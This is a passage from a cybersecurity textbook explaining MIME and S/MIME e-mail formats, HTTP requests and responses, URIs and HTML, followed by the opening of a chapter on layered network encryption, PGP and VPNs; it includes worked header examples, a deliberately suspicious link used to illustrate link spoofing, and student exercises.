may at most be 76 characters long; an equals sign at the end of a line indicates a soft
line break—i.e. a place where the line has been broken in order to satisfy the length
160 7 Network Applications

Kære Ole,
Jeg håber ikke, du har noget imod, at jeg lånte dit eksemplar
af lærebogen. Jeg lægger det tilbage, så snart jeg har læst
kapitel 3.

Mange hilsener
Søren

Fig. 7.6 Søren’s message as ordinary Danish text

Table 7.1 Simple MIME entity types and subtypes according to [40]
Type Subtypes Explanation
text plain Pure text, i.e. a sequence of characters, possibly with embedded line
or page breaks.
enriched Text with embedded formatting commands in a standard markup lan-
guage.
image jpeg A picture encoded according to the JPEG standard by using JFIF
encoding [46].
audio basic Single channel audio encoded using ISDN mu-law with a sampling
rate of 8000 Hz. [50]
video mpeg Video encoded according to the MPEG2 standard [45].
application octet-stream Arbitrary binary data.
postscript Instructions to a PostScript™ interpreter.
x-... User-defined application subtype.

rule, but where a real line break is not needed. So the entity looks to the recipient as
shown in Fig. 7.61.
The encoding quoted-printable is suited to encoding ordinary text which
contains relatively few non-ASCII characters. But the encoding is not very efficient—
each non-ASCII character is replaced by 3 ASCII characters. If a mail needs to
contain pictures, audio, video or program code, it is preferable to use the more
compact base64 encoding, which will be described in more detail in Chap. 10.
By now there are a large number of MIME types (i.e. content types for MIME
entities). Table 7.1 shows the basic set for simple entities, as defined in Part 2 of
the Internet MIME standard [40]. Others can be defined informally or be registered
formally with IANA. For example, there are in practice many application/x-...
types, which describe types of document that are created by various text process-
ing applications, such as MS Word, MS Excel, Adobe Acrobat and LaTeX, and
correspondingly a long list of different image, audio and video formats, which are
described by various subtypes.
A mail sent via SMTP with MIME can at the top level only consist of a single
MIME entity, but this entity can be composed of several smaller entities. A mail
with several parts—for example a part with ordinary text, a part with an attached

1 The text means: “Dear Ole, I hope you don’t mind that I borrowed your copy of the textbook. I’ll
put it back as soon as I’ve read Chapter 3. Many greetings, Søren”
7.1 Mail Transfer 161

From: Ebenezer Snurd <[email protected]>

To: Rod Akromats <[email protected]>
Date: Thu, 09 Aug 2018 12:34:56 +0100 (CET)
Subject: Greetings from Ebe.
MIME-Version: 1.0
Content-type: multipart/signed; micalg=sha1;
protocol=application/pkcs7-signature;
boundary="to5oman4y8sec2ret7s"
to5oman4y8sec2ret7s
Content-type: text/plain; charset=ISO-8859-1
Content-transfer-encoding: 8bit
Hi Rod,
Finally landed in S. America with the documents
which I promised to deliver. See you soon.
Ebe.
to5oman4y8sec2ret7s
Content-type: application/pkcs7-signature; name=smime.p7s
Content-transfer-encoding: base64
Content-disposition: attachment; filename=smime.p7s
ghyHhHUujhJhjH77n8HHGTrfvbnj756tbB9HG4VQpfyF467GhIGfHfYT6
4VQpfyF467GhIGfHfYT6jH77n8HHGghyHhHUujhJh756...
n8HHGTrfvhJhjH776tbB9HG4VQbnj7567GhIGfHfYT6ghyHhHUujpfyF4
7GhIGfHfYT64VQbnj756
to5oman4y8sec2ret7s

Fig. 7.7 S/MIME encoding of a multipart/signed e-mail.

To save space, only part of the signature and its associated certificates is shown.

picture in JPEG format, and a part with an attached PDF file—requires the use of
several entities, one for each part. They have to be composed into a single composed
entity of type multipart (in this case with subtype mixed), which makes up the
body of the mail. A mail signed with an electronic signature can correspondingly
be sent as a multipart entity (with subtype signed) with two parts. One is the
actual text of the mail (e.g. with the type text/plain) and the other is the actual
signature (with type application/pkcs7-signature). PKCS#7 is a set of rules
for how cryptographical elements are to be formatted for transmission through the
Internet [42]. For an electronic signature, for example, it is not enough just to send
the encrypted hash of the message; you also have to send the chain of certificates
which make it possible to check the signature’s validity, as described in Sect. 5.5.
Figure 7.7 shows an example of an e-mail message which uses MIME 2 to attach
an electronic signature with appendix, created by using RSA or DSA. The header line
Content-type contains a MIME-parameter micalg, which specifies the message
digest algorithm which has been used. The red text is the actual signature. This
is delivered to the recipient’s mail application as an attached file, here with the
name smime.p7s. We look closer at these possibilities in the next chapter. Another

2 In fact a special subset of MIME, known as S/MIME, whose purpose is protection of e-mail.
162 7 Network Applications

common composed type is message, which is typically used when a whole mail,
possibly in several parts, is to be forwarded to another recipient. More details of
these composed types can be found in [40] and [72].
It should be clear that it is the mail application which puts the parts together
and specifies appropriate MIME types for the individual parts. So when the user for
example asks the application to attach one or more files, a multipart entity will be
constructed with one part which contains the actual text for the mail and another part
with a suitable MIME type for each of the attached files. The application’s choice
of a “suitable MIME type” is typically controlled by a configuration file or registry
key, which the user in many cases has a certain amount of control over.

7.2 Transfer of Web Pages

The protocol HTTP (“HyperText Transfer Protocol”) is a client-server protocol which

is used to transfer hypertext documents to or from webservers in the Internet. Hy-
pertext is a generic term for the content of documents which potentially can contain
different types of information, such as:
• Fixed elements of various types, such as text, pictures and sounds.
• Dynamic elements, which are to be created “on the fly” by execution of programs.
• Embedded links (so-called hyperlinks) to resources, possibly on other servers,
which contain further information.
The client is normally (a part of) a web browser application in the user’s computer,
which looks after the actual presentation of the documents on the screen. This
architecture is illustrated in Fig. 7.8.

Web browser
application
HTTP request
HTTP HTTP
Client Server
HTTP response resource

Fig. 7.8 Handling of web pages in the Internet

The communication between client and server, just as in SMTP and many other
protocols in the Internet’s Application layer, consists of a series of two-way ex-
changes. In each exchange, the client sends a request, which:
• Identifies a resource by giving its web address as a URI,
• Specifies an action (known as a method) to be performed on the resource.
• Possibly gives some parameters which described the action in greater detail.
7.2 Transfer of Web Pages 163

GET https://danopskrifter.dk/opskrifter.html HTTP/1.1

Host: danopskrifter.dk

HTTP/1.1 200 OK
Date: Sun, 8 Aug 2021 08:12:31 EST
Content-Length: 825

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"

"http://www.w3.org/TR/html4/strict.dtd">
<HTML>
<HEAD>
<TITLE>Danish Food</TITLE>
</HEAD>
<BODY>
<H2 align=left>Classic Danish Recipes</H2>
<IMG src="https://danopskrifter.dk/koldbord.jpg",
alt="Image of Danish cold table">
<UL>
<LI><P> Frikadeller (eng: Meatballs).
<A href="https://danopskrifter.dk/frikadeller.html">Recipe</A></P>
<LI><P> Hakkeb&oslash;ffer (eng: Burgers).
<A href="https://moneygrab.eu/takeitandrun.html">Recipe</A></P>
<LI><P> Fl&aelig;skesteg med sv&aelig;r (eng: Roast pork with crackling)
<A href="https://danopskrifter.dk/flaeskesteg.html">Recipe</A> </P>
<LI><P> Sm&oslash;rrebr&oslash;d (eng: Danish open sandwiches)
<A href="https://danopskrifter.dk/smoerbroed.html">Recipes</A> </P>
</UL>
</BODY>
</HTML>

Fig. 7.9 A simple exchange of messages in HTTP

The two first lines are the client’s request and the rest are the server’s response.

The server replies with a response, which gives a return code that describes how
things went with the action and possibly gives further information on the resource,
such as its size or content.
A very simple example of such an exchange, when a web page is to be fetched
from a web server, is shown in Fig. 7.9. The request (shown in black) specifies that
the method GET is to be used, specifies the URI which the resource is to be fetched
from, and specifies which version of HTTP is to be used (here version 1.1).
A Uniform Resource Identifier (or URI for short) is used to identify a resource,
such as a document or similar, in the Internet 3 A complete URI includes a scheme,
which specifies the technique (often the use of a particular protocol) to be used to
access the resource, an optional userid and password (followed by the character ’@’)
which give access to the resource, the Internet name of the server where the resource

3 Previously, a distinction was made between two subclasses of URI: URNs and URLs, correspond-
ing roughly to names and addresses respectively, but this distinction has now been more or less
abandoned. In older or non-technical literature you will still find the term URL used, but in this
book we will only use the term URI.
164 7 Network Applications

Uniform Resource Identifier (URI)

http:// harry:fiddler3@ www.rfc-editor.org :80 /search/rc_search_detail.php ?rfc=2045

Scheme (optional) Server name (optional) Path to resource (optional)

userid:pwd portno. query

Fig. 7.10 The structure of a URI

Table 7.2 Some commonly used schemes for use in a URI

Scheme Purpose
http Access web resources using HTTP protocol methods
ftp Access files using FTP protocol
imap Access mailbox to fetch mail using IMAP protocol
mailto Send e-mail, commonly (but not necessarily) using SMTP
tel Access a phone or fax
sms Access SMS-capable device to send text messages
ldap Access an LDAP database using LDAP protocol
telnet Access a virtual terminal on a remote computer

is to be found, an optional port number on the server which is to be used, a path to the
resource’s placing in the server’s file system, and an optional series of parameters (a
so-called query), which is to be sent on to an application. An example can be seen
in Fig. 7.10.
When a web page has to be handled, the scheme will typically be http or https,
but other schemes can be used to access other resources, as shown in Table 7.2. Here
in 2023 there are 97 schemes which are officially registered by IANA and more than
200 provisional schemes [44].
The server name is specified as described in Section 6.2.2.1. The path to the web
resource is normally given relative to a standard base address which depends on how
the system has been configured. Web browsers often allow the user to omit some of
these pieces of information, which then get filled in by the browser application or
by the server. For example, a browser will typically choose the protocol HTTP if the
user does not specify this as part of the URI. To improve security, the server may
automatically choose HTTPS, even if the user (or the browser) has chosen HTTP.
If the optional port number is omitted, the standard port 80 is chosen for HTTP
and 443 for HTTPS. The server will correspondingly often accept a path to a folder
without a specification of which file in the folder is wanted—and it will then choose
a standard file, such as index.html, in the folder.
As the URI in Fig. 7.9 refers to a resource on the server danopskrifter.dk,
it must be assumed that a TCP connection from the client to this server will be set
up before this exchange of HTTP messages actually takes place. It is a convention
in HTTP/1.1 that the request should contain a header field starting with the key-
word Host: specifying which host the resource comes from. In the example this is
redundant information; the same effect could be obtained by the request:
7.2 Transfer of Web Pages 165

Fig. 7.11 Display of the document from Fig. 7.9 in a browser

GET opskrifter.html HTTP/1.1

Host: danopskrifter.dk
Each request is terminated with a blank line.
The response consists of a return code (here 200 OK, indicating success), followed
by some header fields and the resource’s actual content. In the example this is
a document in Hypertext Markup Language (HTML) [95], which describes the
document’s text and other elements, together with information on how these elements
should preferably be displayed in the receiver’s web browser. Figure 7.11 shows, for
example, how the document is displayed in a Firefox browser.
As can be seen, the somewhat clumsy character sequences, which replace non-
English letters (such as ‘æ’ and ‘ø’) in the text, are used, as in MIME, to avoid
any misinterpretation of the characters, if they have to be displayed on a system
which uses another character set. Corresponding “character names” are used for
characters with accents, for mathematical symbols and so on. Table 7.3 shows some
examples. Alternatively, it is possible to use a numerical code which represents the
character’s position in the character set, as in MIME. This is particularly useful

Table 7.3 Examples of character codes in HTML

Character Character name code Numerical code
æ &aelig; &#230;
ø &oslash; &#248;
å &aring; &#229;
Æ &AElig; &#198;
Ø &Oslash; &#216;
ä &auml; &#228;
é &eacute; &#233;
ñ &ntilde; &#241;
⇒ &rArr; &#8658;
𝜇 &micro; &#181;
< &real; &#8476;
166 7 Network Applications

when the characters are taken from a character set such as UTF-8, which contains
characters from all languages in the world.
The document contains several embedded links to further resources. The first is
an image, at the URI https://danopskrifter.dk/koldbord.jpg, while the others are
to other web pages. It is the client’s task to fetch the resources if and when they
are required. Normally, the web browser, or some other application that the client is
embedded in, decides when this happens, possibly after asking the user.
If you inspect the document in Fig. 7.9 carefully and compare with the displayed
version shown in Fig. 7.11, you will see that whereas the text “Recipe” is displayed
for all the links to pages with recipes, the links themselves are all different. This is
possible because links are described in HTML by a so-called anchor element of the
form:
<A href="URI of target resource"> text </A>
So the text can be chosen completely independently of the link URI. This makes it
possible for attackers to set up web pages where the text looks extremely innocent,
but the link leads to a malicious website. In fact the second link in the example looks
distinctly suspicious, as it points to quite a different website than the one which the
document comes from.
In more complex cases, documents can contain also references to programs to be
executed on the client (as so-called applets) or on the server (as so-called (active)
server pages or server scripts) in order to produce parts of the resource’s content
dynamically. Both the possibility of false links and the possibiiity of including
dynamic elements on a web page give rise to special security risks that are discussed
in Chap. 10.
The standard methods which HTTP offers are summarised in Table 7.4. Naturally,
a given method can only be used on a given resource on a given server if the user
of the client has a suitable authorisation from the server. Mechanisms in HTTP for
authenticating the user’s identity, so the authorisation can be checked, are discussed
in Chap. 10.
Figure 7.9 shows an extremely simple request, which only asks the server to send
the content of a named resource. By adding more header fields, the client can get
much more control over what gets sent, by specifying, amongst other things:

Table 7.4 HTTP methods

Method Action

GET Fetch content of the resource

PUT Store new content in the resource
DELETE Delete the resource
OPTIONS Ask for information on the resource or the server
HEAD Fetch header fields (but not the actual content) from the resource
POST Transfer information to an application, for example for transmission as mail,
processing as a webform, or similar
TRACE Trace the route to the server via a connection with a return loop
7.2 Transfer of Web Pages 167

• Which media types it can handle (header field Accept). The types are described in
a notation rather like that used for MIME content types. For example: text/html,
text/x-dvi, video/mpeg, etc.
• Which character sets it can handle (header field Accept-Charset).
• Which natural languages the document may be written in (header field Accept-
Language).
• That only a part of the document is to be transferred (header field Range, with
the numbers of the part’s first and last bytes within the document).
• That the operation must only involve documents which fulfil certain limitations
with respect to when they were last modified (header field If-Modified-Since
or If-Unmodified-Since with a date and time).
• The rules for using cached copies of the document (header field Cache-Control).
The rules can for example specify the maximum time for which a cached copy is
valid (max-age), or give instructions never to make a cached copy (no-store)
or always to fetch the document from its original server rather than a cache
(no-cache).
• Credentials to use for authorisation (header field Authorization).
An example of a more complex GET request can be seen in Fig. 7.12. This specifies
that the content of the resource with URI http://www.w3.org/pub/WWW/xy.html are
to be fetched from the server www.w3.org using HTTP version 1.1. The remaining
header fields are to be understood as follows:
• The client kan accept content in HTML or PDF syntax. The parameter q (here
q=0.8), which is specified for the PDF media type, means that the client gives
files of that type a relative value of 0.8. If there is no q-parameter, it is assumed
to be 1.0 (i.e. fully acceptable).
• The client will accept the character sets iso-8859-1 and utf-8, but will only give
iso-8859-1 a relative value of 0.5.
• The client accepts documents in French (fr) with value 1.0, UK English (en-gb)
with value 0.8, while all other varieties of English are undesirable (q=0).
• Bytes 600 up to and including 749 of the document are to be fetched.
• The document can be taken from a cache, unless the cached copy has an age
greater than 900 seconds.
The quality values given in the Accept- header fields are intended to help the
server provide the “best” presentation to the user, in a process known as Server-side

GET pub/WWW/xy.html HTTP/1.1

Host: www.w3.org
Accept: text/html, application/pdf;q=0.8
Accept-Charset: utf-8, iso-8859-1;q=0.5
Accept-Language: fr, en-gb;q=0.8, en;q=0
Range: bytes=600-749
Cache-control: max-age=900

Fig. 7.12 A more complex HTTP GET request

168 7 Network Applications

negotiation. Without the help of these header fields, the server would have to guess
what was best for the user, based for example on information about the abilities of
the user’s User Agent (typically, the user’s browser) or the user’s previous choices.
The server should respect the relative values which the client specifies, to the extent
that this can be done. Thus in this example the server should fetch a version of the
document in French, if there is one; if not, a UK English version should be fetched,
if there is one. If neither of these two versions exists, the server should respond
with the negative return code “406 Not Acceptable”. Unfortunately, experience
shows that web servers cannot (or do not) always live up to these obligations!
More complex responses than in Fig. 7.9 can be used to give the client information
about the content or encoding of the document, give explanations of error codes or
give information about the server itself. This information is given in the form of
header fields, as in the requests. The response in Fig. 7.9 has in fact the fewest possible
details, with only the mandatory information: the fetched document’s length (header
field Content-Length) and the date and time when the document was fetched
(header field Date).
Figure 7.13 shows a more complex response, which could be received after the
same request, if the server had included some of the optional header fields. The
header fields Content-Type, Content-Encoding and Content-Language give
the actual values of these parameters, and ought to match the acceptable values
specified in the request. The line Content-MD5 gives an MD5 checksum in base64
encoding for the content. The line Age is included if the content was taken from a
cache; it says how many seconds the content has been lying in the cache. The line
Last-Modified gives the date and time at which (as far as the server knows) the
content of the resource was last modified. Such complex responses are especially
useful when the method OPTIONS is used, as the purpose of this is to find information
about the properties of the server, such as which content types or encodings it can
handle.

HTTP/1.1 200 OK
Date: Wed, 8 Aug 2018 08:12:31 EST
Content-Length: 150
Content-Type: text/html; charset=utf-8
Content-Encoding: identity
Content-Language: en-gb
Content-MD5: ohazEqjF+PGOc7B5xumdgQ==
Last-Modified: Sun, 29 Jul 2018 23:54:01 EST
Age: 243

<html>
...
</html>

Fig. 7.13 A more complex response to a GET request in HTTP.

The document’s actual content (in italics) has been abbreviated in the figure.
Exercises 169

Ordinary computer users very rarely see these header fields, neither in the request
nor the response, as they just type a URI (or perhaps only a part of a URI) into the
address field in the browser and (if all goes well) see a nice presentation of the content
of the resource on the screen. Which header fields are in fact used in the request is
determined by how the browser and operating system are set up. Which header fields
appear in the response are determined by how the server is set up. A poor setup—
irrespective of whether it is due to an attack or poor technical support—can lead
to unwanted disclosure of information from the header fields or loss of integrity in
the exchange. You should also remember that an attacker can construct some HTTP
requests or responses with strange or deviant header fields as part of an attack. These
risks are discussed in more detail in Chap. 10.

Useful concepts which you should now know about

In this chapter, the following concepts were introduced:

• A server
• A client
• SMTP
• An MUA
• An MTA
• A mail relay
• MIME
• HTTP
• HTML
• A URI
• A scheme
• A (hyper)link
• An HTML anchor
• An applet
• A server script
• An HTTP method
You should check that you understand their definitions and can give examples of
contexts where they play a role.

Exercises

7.1 Tracing e-mail

As discussed in Section 7.1.2, it is mandatory for every MTA which an e-mail passes
to add a header line with the keyword Received: to the mail, so the recipient can
trace the mail’s path through the Internet. When our friends Ingvar Bonesen and
Bent Fuppesen have being working on their “client destructor” for a while, Bent
receives a new mail from Ingvar with the header lines shown below.
170 7 Network Applications

Where has the mail been on its way? A good starting point is to investigate the in-
dividual Internet names and IP addresses in the header lines, to see what information
they will reveal when analysed by nslookup, whois and tools for geolocation.
Received: from mail02.grabassist.com (194.18.73.3)
by mail.fake.com; 18 Nov 2021 15.34.27 +0400
Received: from smtp6.kvikkig.net (212.130.110.62)
by mail02.grabassist.com (194.18.73.3);
18 Nov 2021 15.31.53 +0200
Received: from smtp.molester.dk
by smtp6.kvikkig.net (212.130.110.62);
18 Nov 2021 13.31.20 +0200
Received: from gogo.molester.dk by smtp.molester.dk;
18 Nov 2021 13.31.03 +0200
From: Ingvar Bonesen <[email protected]>
To: Bent Fuppesen <[email protected]>

7.2 Character encoding in e-mail

An e-mail contains the following MIME entity:
Content-type: text/plain; charset=ISO-8859-15
Content-transfer-encoding: quoted-printable
=4A=65=67=20e=6C=73=6Be=72=20d=69=67.=20H=76=6F=72=6E=E5r=
=20=69a=66=74e=6E=3F

What is the text in plain language?

7.3 Header fields in HTTP
Investigate which HTTP header fields are in fact used in your system, when you use
your web browser to fetch the content of a web page. The user does not normally
get to see these header fields. So if you actually want to see them, you need to use a
tool which can analyse the traffic which goes in and out of your computer. There are
several, both commercial and non-commercial, products which can do this.
One of the easiest tools to use is Wireshark, which can run under several different
operating systems and analyse traffic in many different types of network. The user
manual can be found on Wireshark’s home page https://www.wireshark.org/docs/
wsug_html_chunked/ and there is a very useful wiki at https://wiki.wireshark.org/
FrontPage.
Wireshark can collect up traffic from several different protocol layers at the same
time, but if you are only interested in seeing traffic for a specific protocol (such as
HTTP), then you can set a filter, so that you see only that traffic. A short set of
instructions for how to get Wireshark to collect up traffic can be found in the wiki at
https://wiki.wireshark.org/CaptureSetup.

•! Watch out!
Before you use Wireshark (or any other tool for collecting up network traffic), you
should check whether you are allowed to do so within the network which you are
using. The security policy in your company or institution, together with the law of
the land, sets the limits for what is permitted. You may also need special privileges,
for example as administrator/root. If you are in doubt, ask for professional help!
Chapter 8
Network Security

It is an essential principle that all traffic which passes through a communication net-
work must be dealt with in accordance with the security policy. In general terms this
means that wanted traffic is protected so that appropriate CIA targets are met, whereas
unwanted traffic is prevented from passing. Threats to meeting these requirements
come mainly from three fundamental difficulties:
1. It is difficult, perhaps impossible, to protect the physical connections in a network
completely against attacks. This means that you should assume that all messages
which are sent through the network can in principle be monitored, recorded for
subsequent replaying, or modified, with the result that the targets for confiden-
tiality and integrity cannot be met.
2. All communication networks have a limited data carrying capacity and can be
overloaded, with the result that the network is no longer available for transmission
af information.
3. It is difficult to be certain that the party that you are exchanging messages with
really is who you believe it to be. You cannot directly “see” who it is, but have to
trust other forms of identification, which perhaps can be faked.
Network security is concerned with how to counteract these problems. We start by
looking at how you can protect wanted traffic by using cryptographic methods. Then
we discuss how unwanted traffic can be detected and blocked. We look specifically
at wireless networks, including the mobile telehone network, and at threats to avail-
ability in networks. The chapter finishes with a discussion of security in connection
with the use of certain central services in the Internet.

8.1 Protection Based on Cryptographic Methods

It looks like a good idea to use cryptographic techniques, as discussed in Chaps. 4

and 5, to ensure confidentiality, integrity and authentication of the parties. So the
first question is: what shall we encrypt? In a layered architecture PCI is added in each

© The Author(s), under exclusive license to Springer Nature Switzerland AG 2024 171
R. Sharp, Introduction to Cybersecurity, Undergraduate Topics in Computer Science,
https://doi.org/10.1007/978-3-031-41463-3_8
172 8 Network Security

Fig. 8.1 Embedding of PDUs Layer

in a layered architecture

Decapsulation
Encapsulation
T

In

layer, as illustrated in Fig. 8.1. So you need to make a choice: Which data and which
PCI do you want to protect against monitoring, modification or sender falsification?
It is possible in principle to introduce security measures in all layers. But the practical
and economical consequences of doing it in the individual layers are very different.
In the following figures, the encrypted part of the PDUs is indicated by a solid filled
area, and the PCI by different types of hatching.

8.1.1 The Application Layer

When encryption is introduced in the Application layer, it is most often based on the
idea that it is easiest to make it an integrated part of the application. Application data
are encrypted by the sending application process and are sent through the network
to the receiving application process, which decrypts them. Authentication of users
is possible by using certificates sent as part of the data that are exchanged.
Layer This strategy is illustrated in Fig. 8.2.
User This type of solution has the big disadvan-
tage that the task of implementing it has
A to be repeated for each individual applica-
Decapsulation

tion. It is therefore not in general a practi-

T cal or economical possibility. There is also
Encapsulation

the problem that, even if the data which is

sent between the application processes is
In
encrypted, the PCI added in each layer is in
plaintext. An attacker can therefore see and
L perhaps modify where the confidential data
are sent to, or other technical details of the
Ph
transfer.
Fig. 8.2 Encryption in the Application layer
8.1 Protection Based on Cryptographic Methods 173

8.1.2 The Transport Layer

Challenges in the Transport layer are, amongst other things, that:

• The content of a TCP or UDP PDU can be captured, modified or removed by a
third party during transfer.
• Faked PDUs can be used to break or take over a TCP connection (“session”), a
phenomenon often called session theft.
• False PDUs can get the server to hold on to several so-called half open sessions,
where only the first steps in a TCP three-way handshake have been carried out.
• Traffic can be redirected by sending false PDUs to DNS servers, a phenomenon
often called a redirection attack.

Layer The most common solution strategy is to

User
User offer an “add-on” such as SSL (described
in Sect. 8.4 below) for TCP, so all clients
A
can use the same approach to secure com-
munication of Application layer data. This
Decapsulation

strategy is illustrated in Fig. 8.3.

T
Encapsulation

The solution is easy to use and does not re-

In quire any extra infrastructure. But, even if
the application data and Application layer’s
PCI is encrypted, the IP addresses and TCP
L
port numbers are still in plaintext. It may
Ph also be a challenge to manage the large num-
bers of keys needed when many TCP con-
Fig. 8.3 Encryption in the Transport layer nections need to be dealt with.

8.1.3 The Internet Layer

Challenges in the Internet layer are, amongst other things, that:

• The content of a IP PDU (a “packet”) can be captured, modified or removed by a
third party during transfer.
• It is easy to send “spoofed” IP PDUs—that is to say PDUs where the apparent
sender address does not correspond to the actual sender. IPv4 does not itself
contain any mechanism for validating the source address in an IP PDU.
• If an attacker can take control of a router, then traffic can be redirected so it can
be monitored. Here you should remember that a router is just a very specialised
computer with an operating system and software, which possibly could be hacked
or infected with malware, just like an ordinary user’s computer.
174 8 Network Security

Layer
A typical solution strategy here is to build
up a secure network by connecting local net-
User
User
works together with encrypted connections
between routers.
A

Decapsulation
This is illustrated in Fig. 8.4.
T The solution is cheaper and more flexible to

Encapsulation
introduce than, for example, dedicated ca-
In ble connections. It is also relatively cheap
to administer, since as a rule only a limited
L number of routers will be involved. Solu-
tions which make it possible to encrypt in
Ph the Internet layer, such as IPsec which is an
add-on to IPv4 or an option in IPv6, will
Fig. 8.4 Encryption in the Internet layer typically also make it possible to authenti-
cate sender and receiver computers (but not
their users).

8.1.4 The Link Layer

Challenges in the Link layer are, amongst other things, that:

• If the attacker has physical access to the network, then PDUs can be sniffed.
• It is only possible to protect traffic in a single net segment.
Here there are two common solution strate-
Layer
gies:
User
User
1. Sniffing can be prevented by using
A switched cable-based networks, as de-
scribed in Sect. 6.3.1.
Decapsulation

T 2. Sniffing can be made pointless if good

Encapsulation

encryption is used in the Link layer, as

illustrated in Fig. 8.5. However, the en-
In
cryption must be introduced separately
in each net segment which the PDUs will
L
pass through.
Ph A solution based on encryption is simple to
introduce if the network interface uses hard-
Fig. 8.5 Encryption in the Link layer ware which can encrypt the PDU’s payload.
All PCI from the layers above will be hid-
den, but the payload must be decrypted and
re-encrypted every time that a PDU has to
be sent from one net segment to the next.
8.2 Encryption in the Application Layer 175

8.1.5 The Physical Layer

In the Physical layer, the problem is that any possibility for physical access to the
medium brings a risk of disturbance of the transmission.

Layer

User
User The solution strategy must be to secure the
medium against access for unauthorised per-
A sons. This can naturally only be done for
cable-based media, either with electrical or
Decapsulation
optical signalling.
T
Encapsulation

This solution is illustrated in Fig. 8.6.

In The advantage of securing the Physical layer
is that the communication is completely hid-
L den from all outsiders. In the Internet, this
solution is obviously completely impracti-
Ph
cal, as there is in general no direct physical
connection the whole way from sender to
Fig. 8.6 Securing the Physical layer receiver!

8.2 Encryption in the Application Layer

As stated previously, it is rarely particularly practical to perform encryption in the

Application layer, as it must be done individually for each application. Nevertheless,
there is a well-known example of the use of this approach: for encryption and
signing of e-mail. There are even two variants, both of them based on PKCSs but
using different trust models:
• S/MIME, based on a hierarchical trust model with certificates signed by a certifi-
cate authority (CA) to document the relationship between a subject and its public
key.
• PGP, based on a web-of-trust model, where ordinary subjects sign public keys
whose ownership they trust.
Both systems use the same approach to encryption of messages, illustrated in Fig. 8.7.
A random number generated by a cryptographic random number generator is used
as a session key in a symmetrical encryption algorithm to produce the ciphertext for
the message, while the key itself is encrypted with the recipient’s public key. The
message’s ciphertext and the encrypted key are both sent to the recipient, who can
decrypt the key with his or her private key and use it to recreate the plaintext of the
message.
176 8 Network Security

Fig. 8.7 Encryption of e-mail Plaintext

Generate
random key
Receiver's
public key
Z31Fq...59P61ac3 tYb9z...61gHP3nR

Encrypt with Encrypt with

receiver's
random key public key

1zHq3...Tk52Bz1jn
Ciphertext Encrypted key

Message for transmission

Table 8.1 MIME entity types and subtypes for S/MIME [72]
Type Subtypes Explanation
multipart signed A signed plaintext message with two parts: the message itself and the
signature.
application pkcs7-mime A signed or encrypted MIME entity or one or more certificates for
public keys.
pkcs7-signature The signature from a multipart/signed entity.
pkcs10-mime A message with a request for registering a certificate.

However, the two systems use different MIME types for describing the structure
of the encrypted message. S/MIME extends the original set of MIME content types
with new types, as shown in Table 8.1. As mentioned earlier, PKCS#7 is a set of
rules for how cryptographic elements such as signatures and ciphertexts are to be
formatted for transmission through the Internet [42]. An entity with the pkcs7-mime
subtype can be used for various purposes. The way in which it is to be understood is
given by a MIME parameter, smime-type, whose possible values have the following
meanings:
• signed-data: a signed MIME entity. This consists of a series of blocks which
contain the actual message, a message digest (originally MD5 or SHA, but now
various versions of SHA-3) encrypted with the signer’s private key, and informa-
tion about the signer, such as his or her certificate.
• enveloped-data: an encrypted MIME entity. This consists of a series of blocks
which contain the actual message encrypted with a session key for an SKCS
(3DES or RC2/40), the actual session key encrypted with the recipient’s public
RSA key, and information about the sender, such as his or her certificate.
• compressed-data: a compressed MIME entity.
• certs-only: an entity which only contains certificates for public keys or lists of
revoked certificates.
8.2 Encryption in the Application Layer 177

Figure 8.8 shows an example of an e-mail encrypted using S/MIME. The text in
italics is (part of) the ciphertext.

From: Rod Akromats <[email protected]>

To: Ebenezer Snurd <[email protected]>
Date: Fri, 10 Aug 2018 12:34:56 +0100 (CET)
Subject: Well done!
MIME-Version: 1.0
Content-Type: application/pkcs7-mime;
smime-type=enveloped-data; name=smime.p7m
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename=smime.p7m
rfvbnj756tbBghyHhHUujhJhjH77n8HHGT9HG4VQpfyF467GhIGfHfYT6
3h7uvN...
f8HHGTrfvhJhjH776tbB9HG4VQbnj7567/f+kkT6ghy57sYsPag7oiMAk
0GhIGfHfQbnj756YT64V

Fig. 8.8 S/MIME encoding of an encrypted e-mail. Only part of the ciphertext is shown

PGP offers more or less the same facilities, but uses another set of content types,
as shown in Table 8.2. Figure 8.9 shows the same e-mail as in Fig. 8.8 encrypted
using PGP. The text in italics is again (part of) the ciphertext.

From: Rod Akromats <[email protected]>

To: Ebenezer Snurd <[email protected]>
Date: Fri, 10 Aug 2018 12:34:56 +0100 (CET)
Subject: Well done!
MIME-Version: 1.0
Content-Type: multipart/encrypted;
protocol="application/pgp-encrypted";
boundary="to5oman4y8sec2ret7s"
to5oman4y8sec2ret7s
Content-type: application/pgp-encrypted
Version: 1
to5oman4y8sec2ret7s
Content-type: application/octet-stream
BEGN PGP MESSAGE
Version: 2.6.2
rfvbnj756tbBghyHhHUujhJhjH77n8HHGT9HG4VQpfyF467GhIGfHfYT6
3h7uvN....
f8HHGTrfvhJhjH776tbB9HG4VQbnj7567/f+kkT6ghy57sYsPag7oiMAk
0GhIGfHfQbnj756YT64V
-END PGP MESSAGE
to5oman4y8sec2ret7s

Fig. 8.9 MIME encoding of a PGP encrypted e-mail. Only part of the ciphertext is shown
178 8 Network Security

Table 8.2 MIME entity types and subtypes for PGP [90]
Type Subtypes Explanation

multipart signed A signed plaintext message with two parts: the actual message and
the signature.
encrypted An encrypted message with two parts: a control part and a part with
the actual ciphertext.
application pgp-encrypted The control part from a multipart/encrypted entity.
octet-stream The ciphertext from a multipart/encrypted entity.
pgp-signature The signature from a multipart/signed entity.
pgp-keys One or more public keys.

8.3 Virtual Private Networks

A Virtual Private Network (VPN), is defined in [38] as follows:

Definition 8.1 (Virtual Private Network)

A virtual network, built on top of existing physical networks, that can provide a secure
communication mechanism for data and other information transmitted between two
endpoints.

A VPN is typically based on the use of encryption and tunneling, but—as we have
seen in Sect. 8.1—there are several possible choices with respect to:
• How and where the encryption is performed;
• Which parts of the traffic are to be encrypted.
An important target, in addition to security, is usability. If the solution is too difficult
to use, it will not be used. So poor usability leads to poor security!

8.3.1 Tunneling

Tunneling, which is a vital component of most VPNs, is defined in a general way as:

Definition 8.2 (Tunneling)

Operation of a network connection on top of another network connection.

